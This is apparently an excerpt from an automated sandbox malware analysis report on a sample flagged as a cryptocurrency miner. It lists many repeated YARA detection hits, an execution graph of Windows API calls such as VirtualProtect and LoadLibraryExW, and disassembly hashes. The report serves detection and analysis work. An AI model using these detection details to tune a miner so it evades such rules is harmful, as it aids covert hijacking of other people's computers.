                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96521574784.0000000004282000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96512225025.0000000004216000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96512225025.0000000004216000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96484629378.00000000040D0000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96484629378.00000000040D0000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96501883465.0000000004190000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96501883465.0000000004190000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96515197968.0000000004238000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96515197968.0000000004238000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96495360319.0000000004146000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96495360319.0000000004146000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96518660164.0000000004264000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96518660164.0000000004264000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96490890645.0000000004116000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96490890645.0000000004116000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96440709553.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96440709553.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96492169740.0000000004122000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96492169740.0000000004122000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96483406959.00000000040C4000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96483406959.00000000040C4000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96499031575.0000000004170000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96499031575.0000000004170000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96489910690.000000000410A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96489910690.000000000410A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96515533420.000000000423C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96515533420.000000000423C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96496253915.0000000004152000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96496253915.0000000004152000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96504526211.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96504526211.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96487703215.00000000040F2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96487703215.00000000040F2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96497158376.000000000415E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96497158376.000000000415E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96506334493.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96506334493.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96487182629.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96487182629.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96515884038.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96515884038.0000000004240000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96517749892.0000000004258000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96517749892.0000000004258000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96498575909.000000000416C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96498575909.000000000416C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96511814438.0000000004212000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96511814438.0000000004212000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96523828843.000000000429E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96523828843.000000000429E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96497494367.0000000004162000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96497494367.0000000004162000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96508122417.00000000041DE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96508122417.00000000041DE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96493240726.000000000412E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96493240726.000000000412E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96505793589.00000000041BE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96505793589.00000000041BE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96483857949.00000000040C8000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96483857949.00000000040C8000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96523255159.0000000004296000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96523255159.0000000004296000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96513255906.0000000004222000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96513255906.0000000004222000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96521079461.000000000427E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96521079461.000000000427E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96509948608.00000000041F6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96509948608.00000000041F6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96510740814.0000000004202000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96510740814.0000000004202000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96485315100.00000000040D8000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96485315100.00000000040D8000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96488209886.00000000040F6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96488209886.00000000040F6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96514551824.0000000004230000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96514551824.0000000004230000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96500811456.0000000004184000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96500811456.0000000004184000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth

                                                                              Disassembly

                                                                              Reset < >

                                                                                Execution Graph

                                                                                Execution Coverage:11.9%
                                                                                Dynamic/Decrypted Code Coverage:100%
                                                                                Signature Coverage:2.4%
                                                                                Total number of Nodes:166
                                                                                Total number of Limit Nodes:12
                                                                                execution_graph 47455 7f35ed0 47456 7f35ee9 47455->47456 47458 7f35ef3 47455->47458 47456->47458 47459 7f35600 47456->47459 47460 7f3560b 47459->47460 47463 7f3e8a5 47460->47463 47465 7f3d6fc 47460->47465 47462 7f3e8eb 47462->47458 47463->47462 47464 7f3d6fc OleInitialize 47463->47464 47464->47462 47466 7f3d707 47465->47466 47467 7f33740 OleInitialize 47466->47467 47468 7f3e916 47466->47468 47467->47468 47468->47463 47498 7f3b4b0 47499 7f3b509 GetClassInfoW 47498->47499 47501 7f3b59a 47499->47501 47502 7f38e90 47503 7f38ea1 47502->47503 47504 7f38f01 47503->47504 47508 7f39050 SendMessageW 47503->47508 47510 7f39048 SendMessageW 47503->47510 47505 7f39039 47509 7f390fd 47508->47509 47509->47505 47511 7f390fd 47510->47511 47511->47505 47512 7f37300 47518 7f36974 47512->47518 47514 7f37330 47516 7f37360 SetWindowRgn 47517 7f37409 47516->47517 47519 7f37360 SetWindowRgn 47518->47519 47520 7f3731f 47519->47520 47520->47514 47520->47516 47302 2cc62c8 47303 2cc62dc 47302->47303 47304 2cc639f 47303->47304 47309 2cc5e70 47303->47309 47313 7f34e21 47303->47313 47317 7f34e30 47303->47317 47321 2cc6470 47303->47321 47310 2cc5e7b 47309->47310 47326 2cc7b88 47310->47326 47312 2cc9581 47312->47303 47314 7f34e42 47313->47314 47383 7f334b0 47314->47383 47318 7f34e42 47317->47318 47319 7f334b0 3 API calls 47318->47319 47320 7f34e62 47319->47320 47320->47303 47322 2cc6495 47321->47322 47421 2cc6580 47322->47421 47425 2cc6571 47322->47425 47327 2cc7b93 47326->47327 47330 2cc914c 47327->47330 47329 2cc974d 47329->47312 47331 2cc9157 47330->47331 47334 2cc917c 47331->47334 47333 2cc9822 47333->47329 47335 2cc9187 47334->47335 47338 2cc91ac 47335->47338 47337 2cc9925 47337->47333 47339 2cc91b7 47338->47339 47344 2cca61c 47339->47344 47341 2cca9a8 47342 2ccab93 47341->47342 47348 2ccd360 47341->47348 47342->47337 47345 2cca627 47344->47345 47346 2ccbe49 47345->47346 47352 2cca858 47345->47352 47346->47341 47356 2ccd388 47348->47356 47360 2ccd398 47348->47360 47349 2ccd376 47349->47342 47353 2ccbfa8 FindWindowW 47352->47353 47355 2ccc074 47353->47355 47355->47346 47357 2ccd398 47356->47357 47363 2ccd47f 47357->47363 47358 2ccd3a7 47358->47349 47362 2ccd47f 2 API calls 47360->47362 47361 2ccd3a7 47361->47349 47362->47361 47364 2ccd4a1 47363->47364 47365 2ccd4c4 47363->47365 47364->47365 47371 2ccd760 47364->47371 47375 2ccd770 47364->47375 47365->47358 47366 2ccd6e5 GetModuleHandleW 47368 2ccd724 47366->47368 47367 2ccd4bc 47367->47365 47367->47366 47368->47358 47372 2ccd770 47371->47372 47373 2ccd7a9 47372->47373 47379 2cccee0 47372->47379 47373->47367 47377 2ccd784 47375->47377 47376 2ccd7a9 47376->47367 47377->47376 47378 2cccee0 LoadLibraryExW 47377->47378 47378->47376 47380 2ccd978 LoadLibraryExW 47379->47380 47382 2ccda34 47380->47382 47382->47373 47385 7f334bb 47383->47385 47387 7f334ec 47385->47387 47386 7f34f74 47386->47386 47388 7f334f7 47387->47388 47389 7f3521a 47388->47389 47390 7f351ef 47388->47390 47391 7f33740 OleInitialize 47388->47391 47389->47386 47390->47389 47396 7f33740 47390->47396 47391->47390 47398 7f3374b 47396->47398 47397 7f35207 47401 9c67a80 47397->47401 47406 9c67a70 47397->47406 47398->47397 47411 7f3d79c 47398->47411 47400 7f3e9a4 47403 9c67ae5 47401->47403 47402 9c67b32 47402->47389 47403->47402 47404 9c65ef0 PeekMessageW 47403->47404 47418 9c65f3c 47403->47418 47404->47403 47408 9c67a80 47406->47408 47407 9c65ef0 PeekMessageW 47407->47408 47408->47407 47409 9c65f3c DispatchMessageW 47408->47409 47410 9c67b32 47408->47410 47409->47408 47410->47389 47412 7f3d7a7 47411->47412 47413 7f3ec9b 47412->47413 47415 7f3d7b8 47412->47415 47413->47400 47416 7f3ecd0 OleInitialize 47415->47416 47417 7f3ed57 47416->47417 47417->47413 47419 9c68838 DispatchMessageW 47418->47419 47420 9c688c5 47419->47420 47420->47403 47423 2cc65a7 47421->47423 47422 2cc6684 47423->47422 47429 2cc60ec 47423->47429 47427 2cc6580 47425->47427 47426 2cc6684 47426->47426 47427->47426 47428 2cc60ec CreateActCtxA 47427->47428 47428->47426 47430 2cc7638 CreateActCtxA 47429->47430 47432 2cc773e 47430->47432 47432->47432 47488 7f3cf4b 47489 7f3cf5e 47488->47489 47493 7f3d241 47489->47493 47496 7f3d268 PostMessageW 47489->47496 47490 7f3cf81 47494 7f3d268 PostMessageW 47493->47494 47495 7f3d315 47494->47495 47495->47490 47497 7f3d315 47496->47497 47497->47490 47469 7f35bd8 47471 7f35c11 47469->47471 47470 7f35e45 47470->47470 47471->47470 47474 7f397d0 SendMessageW 47471->47474 47476 7f397c8 47471->47476 47475 7f3987d 47474->47475 47475->47470 47477 7f397ce SendMessageW 47476->47477 47480 7f39779 47476->47480 47479 7f3987d 47477->47479 47479->47470 47480->47470 47481 7f37a58 47482 7f37aab 47481->47482 47483 7f37abd SetWindowTextW 47481->47483 47482->47483 47484 7f37b08 47483->47484 47433 2cc1ad0 47434 2cc1b1d VirtualProtect 47433->47434 47435 2cc1b89 47434->47435 47436 2ccf850 47437 2ccf896 47436->47437 47438 2ccf983 47437->47438 47441 2ccfa30 47437->47441 47444 2ccfa20 47437->47444 47448 2ccf0e8 47441->47448 47445 2ccfa30 47444->47445 47446 2ccf0e8 DuplicateHandle 47445->47446 47447 2ccfa5e 47446->47447 47447->47438 47449 2ccfa98 DuplicateHandle 47448->47449 47450 2ccfa5e 47449->47450 47450->47438 47451 7e57c78 47452 7e57bfe DrawTextExW 47451->47452 47454 7e57c7b 47451->47454 47453 7e57c15 47452->47453

                                                                                Executed Functions

                                                                                Function 02CC0900 Relevance: 4.9, Strings: 3, Instructions: 1170COMMON
                                                                                Download Yara Rule
                                                                                Strings
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96443408504.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_2cc0000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID: ($<$ntin
                                                                                • API String ID: 0-2777557274
                                                                                • Opcode ID: 3d33e66de6594710f80cf0fc1b0b78dba2b88d419c391aa333f599a874a69cf3
                                                                                • Instruction ID: 5201857e36e24b39f5c960c60211b92e4ce5697313e2f0fd9fbbd001ae4baa73
                                                                                • Opcode Fuzzy Hash: 3d33e66de6594710f80cf0fc1b0b78dba2b88d419c391aa333f599a874a69cf3
                                                                                • Instruction Fuzzy Hash: 44C2A074E042298FDB64CF6AC980BDDB7B6BF89304F2481E9D508A7256D734AE85CF50
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09C6BEBC Relevance: 1.9, Strings: 1, Instructions: 699COMMON
                                                                                Download Yara Rule

                                                                                Control-flow Graph

                                                                                • Executed
                                                                                • Not Executed
                                                                                control_flow_graph 696 9c6bebc-9c6bfdf 701 9c6c0b6-9c6c0c0 696->701 702 9c6bfe5-9c6c0b1 696->702 703 9c6c0c6-9c6c140 701->703 704 9c6c25d-9c6c3e3 701->704 714 9c6c3ef-9c6c3fb 702->714 807 9c6c146 call 9c6cb68 703->807 808 9c6c146 call 9c6cb78 703->808 704->714 710 9c6c14c-9c6c24c 731 9c6c258 710->731 715 9c6c430-9c6c459 714->715 716 9c6c3fd-9c6c404 714->716 717 9c6c4cc-9c6c521 715->717 720 9c6c406-9c6c40b 716->720 721 9c6c40d-9c6c414 716->721 732 9c6c523 717->732 733 9c6c52c-9c6c5bf 717->733 722 9c6c42c-9c6c42e 720->722 723 9c6c416-9c6c418 721->723 724 9c6c41a-9c6c429 721->724 722->715 725 9c6c45b-9c6c4c5 722->725 723->722 724->722 725->717 731->714 732->733 734 9c6c525 732->734 743 9c6c5c1 733->743 744 9c6c5ca-9c6c63e 733->744 734->733 743->744 745 9c6c5c3 743->745 753 9c6c644-9c6c6e9 744->753 754 9c6c6f9-9c6c72f 744->754 745->744 753->754 757 9c6c6eb-9c6c6f8 753->757 760 9c6c743-9c6c750 754->760 761 9c6c731 754->761 757->754 765 9c6c751-9c6c75b 760->765 761->760 762 9c6c733-9c6c741 761->762 762->765 766 9c6c75d-9c6c775 765->766 767 9c6c7cb-9c6c7db 765->767 770 9c6c777-9c6c77e 766->770 771 9c6c7dc-9c6c93c call 9c62e20 call 9c60dcc * 10 766->771 767->771 772 9c6c787-9c6c78e 770->772 773 9c6c780-9c6c785 770->773 805 9c6c93e 771->805 806 9c6c94a 771->806 776 9c6c794-9c6c7a3 772->776 777 9c6c790-9c6c792 772->777 774 9c6c7a6-9c6c7a8 773->774 774->771 779 9c6c7aa-9c6c7c9 774->779 776->774 777->774 779->771 805->806 807->710 808->710
                                                                                Strings
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96680329187.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9c60000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID: fff?
                                                                                • API String ID: 0-4136771917
                                                                                • Opcode ID: 3170d631e55cebd3bc23e74d668f5a93296f9361900a2549af307a4f304146da
                                                                                • Instruction ID: 3d5643af5e408ef46cf4e738bf9b7b9811665b4ba27537dbdc5446e613e94ebf
                                                                                • Opcode Fuzzy Hash: 3170d631e55cebd3bc23e74d668f5a93296f9361900a2549af307a4f304146da
                                                                                • Instruction Fuzzy Hash: 1B621832C1065ADFCF11DF50C884AD9B7B2FF99304F158695E9487B221EB71AA96CF80
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09C67A80 Relevance: .4, Instructions: 396COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96680329187.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9c60000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID: DispatchMessage
                                                                                • String ID:
                                                                                • API String ID: 2061451462-0
                                                                                • Opcode ID: f35fd5c6efff60257e36e2067ca62c379cad9f69228346e3db146ad545e50179
                                                                                • Instruction ID: d05ee654f6bbea111b5fdba9e4319a2388e82158a389c80168a9dc9d845203be
                                                                                • Opcode Fuzzy Hash: f35fd5c6efff60257e36e2067ca62c379cad9f69228346e3db146ad545e50179
                                                                                • Instruction Fuzzy Hash: AFF16E30E00309DFDB14DFA9D884BADBBF1BF88308F158969E405AB365DB74A945CB91
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 09C6CB78 Relevance: .2, Instructions: 211COMMON
                                                                                Download Yara Rule
                                                                                Memory Dump Source
                                                                                • Source File: 00000001.00000002.96680329187.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false
                                                                                Joe Sandbox IDA Plugin
                                                                                • Snapshot File: hcaresult_1_2_9c60000_gOKMPhOLiN.jbxd
                                                                                Similarity
                                                                                • API ID:
                                                                                • String ID:
                                                                                • API String ID:
                                                                                • Opcode ID: 16f9576bb408c40233c3cca1e729954eee2c0a367fb2d5ceead6841217c5bdb6
                                                                                • Instruction ID: fae6c105f7b48a47cab967272c205ad6f8798149ed91e75c27bf70874491e180
                                                                                • Opcode Fuzzy Hash: 16f9576bb408c40233c3cca1e729954eee2c0a367fb2d5ceead6841217c5bdb6
                                                                                • Instruction Fuzzy Hash: 3A81CE72E00619CBCB01DFA5D8482EEFBB6FF84300F15C13AD455AB658EB398A56CB50
                                                                                Uniqueness

                                                                                Uniqueness Score: -1.00%

                                                                                Function 07E57C78 Relevance: 9.3, APIs: 1, Strings: 4, Instructions: 548COMMON
                                                                                Download Yara Rule

                                                                                Control-flow Graph

                                                                                • Executed
                                                                                • Not Executed
